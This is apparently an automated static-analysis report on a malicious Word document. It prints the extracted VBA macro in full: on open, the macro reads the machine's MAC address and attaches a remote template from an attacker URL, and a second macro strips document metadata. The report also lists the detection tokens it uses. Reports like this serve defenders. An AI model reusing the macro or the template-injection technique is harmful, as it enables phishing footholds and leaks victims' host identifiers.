Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eb8811c9ee4afdf8…

MALICIOUS

Office (OOXML)

23.8 KB Created: 2020-06-26 09:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 2a6f2e9b304916dc9ce5a5ae18ba9d4c SHA-1: a3238fed095a7273f8a86111df03b285ad31dada SHA-256: eb8811c9ee4afdf8c6ccfbc9ba920743dd8ae394db1a01267b882f96fc52a0fc
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro attempts to download a malicious template from the URL 'http://erythroxylon.xyz/' by concatenating it with the system's MAC address. The presence of the 'GetObject' call and the 'document_Open' macro strongly indicate malicious intent, likely to establish a foothold or download further malicious content.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set GrZKwpTyXYy = GetObject("winmgmts:\\.\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://erythroxylon.xyz/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1905 bytes
SHA-256: 0aeccf68ccd90383fb2ed619e2ae26795ff0bad5046e12ea3eccc2562047ae50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub document_Open()
On Error Resume Next
Set GrZKwpTyXYy = GetObject("winmgmts:\\.\root\cimv2")
Set zISvRFrAeIf = GrZKwpTyXYy.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true")
RrktOlkBtDw = ""
For Each objBIOS In zISvRFrAeIf
If Not IsNull(objBIOS.MACAddress) Then
RrktOlkBtDw = Replace(objBIOS.MACAddress, ":", "")
End If
Next
Set GrZKwpTyXYy = Nothing
ActiveDocument.AttachedTemplate = "http://erythroxylon.xyz/" + RrktOlkBtDw + "/srv/var/mVCXRy.dot"
End Sub


Attribute VB_Name = "NewMacros"
Sub CLEANER()
  
    Application.ScreenUpdating = False

    With ActiveDocument
        .RemoveDocumentInformation (wdRDIVersions)
        .RemoveDocumentInformation (wdRDIRemovePersonalInformation)
        .RemoveDocumentInformation (wdRDIEmailHeader)
        .RemoveDocumentInformation (wdRDIRoutingSlip)
        .RemoveDocumentInformation (wdRDISendForReview)
        .RemoveDocumentInformation (wdRDIDocumentProperties)
        .RemoveDocumentInformation (wdRDITemplate)
        .RemoveDocumentInformation (wdRDIInkAnnotations)
        .RemoveDocumentInformation (wdRDIDocumentServerProperties)
        .RemoveDocumentInformation (wdRDIDocumentManagementPolicy)
        .RemoveDocumentInformation (wdRDIContentType)
    End With
    Set fd = Application.FileDialog(msoFileDialogSaveAs)
        With fd
            If .Show Then
                ActiveDocument.SaveAs2 FileName:=.SelectedItems(1), FileFormat:=wdNormal
            End If
        End With
    Set fd = Nothing
    Application.ScreenUpdating = True
    End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: d4d6611588e99599dc268e452fc22aea59f0735379bca05e1a228c2f7067169b

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